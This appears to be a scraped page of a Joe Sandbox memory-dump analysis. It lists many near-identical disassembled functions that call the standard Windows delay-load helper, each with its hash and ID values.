Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 305db0f2769cfb656befbdd45d400bbd030a32d9c73e161ac9e9eebbebccd48a
Instruction ID: f4115bf1075f58354ad7ea88d86427036268ab916eed30a90ec33eaf3326f245
Opcode Fuzzy Hash: 305db0f2769cfb656befbdd45d400bbd030a32d9c73e161ac9e9eebbebccd48a
Instruction Fuzzy Hash: B4B012C229A14E7D390462A69C07C7701FCC0C0B10370713FB400F5281D8402D085031

Function 00E931C6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 4716f5579066f8c5335b3dc901ab5e93a0366d25e65d1c05b606ba2b28eae720
Instruction ID: e4227e49564e86df6b112818ede3b42d0766c876240f8d54ac1d5def5f3195b0
Opcode Fuzzy Hash: 4716f5579066f8c5335b3dc901ab5e93a0366d25e65d1c05b606ba2b28eae720
Instruction Fuzzy Hash: F7B012C129B14A7D3A0492A69D07C7701FCC0C0B10771703BB400F52C1D8402E090031

Function 00E931DA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: aed9eba815d201c1ac333ef71cc90fd40082f2f2d0b2d23a64dec0ab012e60fe
Instruction ID: 339b906380d9fa0b470336b05d26082aec44f91c22aa48dfdf87074d74411505
Opcode Fuzzy Hash: aed9eba815d201c1ac333ef71cc90fd40082f2f2d0b2d23a64dec0ab012e60fe
Instruction Fuzzy Hash: 2EB012C129A14A7D3D0462B69C07C7701FCC0C0B10370B03BB800F5281D9402D081031

Function 00E931D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: dff164095cc17264171e2eaccc98c8b2aa86ae295eb5d1552710a18a22e81dcf
Instruction ID: 2217a5d483af3eb43c63703d65675cf837dfeda88de425f6753304a3ee246bf4
Opcode Fuzzy Hash: dff164095cc17264171e2eaccc98c8b2aa86ae295eb5d1552710a18a22e81dcf
Instruction Fuzzy Hash: E0B012C12AB14A7D390492A69C07C7701FCC4C0B10771703FB400F5181D8402D084031

Function 00E931AB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: f76e933c219d8aff03c7e4224adb8bc27475313f459ea6f0e60026bddec380db
Instruction ID: 57acff94891852388f96a89b2f1079520a7e686436921d238b00b4543e726d40
Opcode Fuzzy Hash: f76e933c219d8aff03c7e4224adb8bc27475313f459ea6f0e60026bddec380db
Instruction Fuzzy Hash: 61B002E529A14A7D7A0452B79D4BC7701BCD5C4B11371753FB801F5195A9506E495031

Function 00E93248 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 071ef481d6df7115fd80e684cf0786e4424e12d4d2f7eb758fbe4d0e02121b7c
Instruction ID: c47771579c43254f7f3bc0e813dcb1bf58fb273f54cbfff8e14b434e542d8b02
Opcode Fuzzy Hash: 071ef481d6df7115fd80e684cf0786e4424e12d4d2f7eb758fbe4d0e02121b7c
Instruction Fuzzy Hash: EFB012D139A14A7D390452A69C07C7701FCC0C0B10370703FB400F5185D8402D088031

Function 00E93A42 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93A54

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

3Qo, xrefs: 00E93A42, 00E93A4E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 3Qo
API String ID: 697777088-1944013411
Opcode ID: eaeaa6c83c81eaa2e423852c13441de7655749d9bb66985def4757e19be7fbf9
Instruction ID: 83269780a9a8b86810db2159ede0f9dce096aeb7563f11d2bfd9b21401b2fef0
Opcode Fuzzy Hash: eaeaa6c83c81eaa2e423852c13441de7655749d9bb66985def4757e19be7fbf9
Instruction Fuzzy Hash: 63B012C52982457E3A04A1A29C07CF705ACC0C0F103B0721BB800F018294906E481031

Function 00E9325C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: ad07cbec4a9253b50612a0b313c6f1243032eae7d4f298ab541f6fa485492b96
Instruction ID: e0b72de9f876d37f905f512bd816c457d11805a455ecc3998b14ac0bc8efc4e0
Opcode Fuzzy Hash: ad07cbec4a9253b50612a0b313c6f1243032eae7d4f298ab541f6fa485492b96
Instruction Fuzzy Hash: CAB012C12992497D3A0492A69C43CF701FCC0C0B103B0713BB801F5181D8402E4C0031

Function 00E93252 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 5e6fe9f8ccc80ce2155ea13e5e4ee379ab5ef60782000f9f9cea0d8a4f2407b6
Instruction ID: 844606aedb3e6107ad38ef81e59dd2ddc64fb6cbaebb9b08e97bc0decd658fad
Opcode Fuzzy Hash: 5e6fe9f8ccc80ce2155ea13e5e4ee379ab5ef60782000f9f9cea0d8a4f2407b6
Instruction Fuzzy Hash: CAB012C1299149BD3D4452A69C43C7701FCC0C0B103B0B03BB800F5181D8402E080031

Function 00E9322A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 27e7da00a07b3d1edc70f686c540ce913da6ee74c0c03d3fbc225d8e32b9c04b
Instruction ID: b9cac3b4c7c63bbff61cd1a6b7568e7bfaad6df134a6e53700bc5389f63528e0
Opcode Fuzzy Hash: 27e7da00a07b3d1edc70f686c540ce913da6ee74c0c03d3fbc225d8e32b9c04b
Instruction Fuzzy Hash: B2B012D139A14A7D3D0452A69C07C7702FCC0C0B10370B03BB800F5185D8402D080031

Function 00E93220 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 258efa9bef1d362c4a3f7086df43929c0eb53be9467b112f75de89e6aeff45c9
Instruction ID: 60ba5ffb21908483e6a74781a0a81a26defba39197a8e197eba82e150ed4e9d9
Opcode Fuzzy Hash: 258efa9bef1d362c4a3f7086df43929c0eb53be9467b112f75de89e6aeff45c9
Instruction Fuzzy Hash: D6B012C129A14A7D390452A79C07C7701FCC0C0B10370743FB400F51C1D8402D084031

Function 00E9323E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: c960b4cc6950e9205a883e9344f53f270fdc0f783fd4ec117f2c45b4cd9d1124
Instruction ID: a3f18bb9431c8039d5ef0d0c06e39eaec6f8056aa19ae7831c3cb2d30f498da3
Opcode Fuzzy Hash: c960b4cc6950e9205a883e9344f53f270fdc0f783fd4ec117f2c45b4cd9d1124
Instruction Fuzzy Hash: 53B012D139A14A7D3A0452A69D47C7701FCC0C0B10370703BB400F52C5E8412E090031

Function 00E9320C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 02a6af742567cfcaa86b8aef431b01dc21ba660495a9548bf27e61d0fe587fb4
Instruction ID: 73f508d070b7a510377f4c1915d2acd7eb760aa315050f2189ccaa76f52cf7d7
Opcode Fuzzy Hash: 02a6af742567cfcaa86b8aef431b01dc21ba660495a9548bf27e61d0fe587fb4
Instruction Fuzzy Hash: B0B012C129A24A7D394452A79C07CF701FCC0C0B10370B17BB400F5181D8402D480031

Function 00E93202 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 78d606f98e38fddd7023035a8d8abaf20602165fcf7cfe478a63dd1ab327d95f
Instruction ID: 6447eac94b72b676311abbbd0f828d4baee5ca6a88040da7bcd66cd23b9b4663
Opcode Fuzzy Hash: 78d606f98e38fddd7023035a8d8abaf20602165fcf7cfe478a63dd1ab327d95f
Instruction Fuzzy Hash: 59B012C129A14A7D3D0452A79C07C7701FCC0C0B10370B03BB800F5181D8402D080031

Function 00E93216 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 46ec5749b4711fd13b966fae6cbd5c17a6a4cd5977079bf8fc85c465510a230b
Instruction ID: 0f4fa56850bf930332853a4f72eee0f16788d7eeea30cd2c74702045ba620d32
Opcode Fuzzy Hash: 46ec5749b4711fd13b966fae6cbd5c17a6a4cd5977079bf8fc85c465510a230b
Instruction Fuzzy Hash: E8B012C129A14A7D3A0452A7DD07C7701FCC0C0F10370703BB400F52C1D8402E090031

Function 00E931F3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
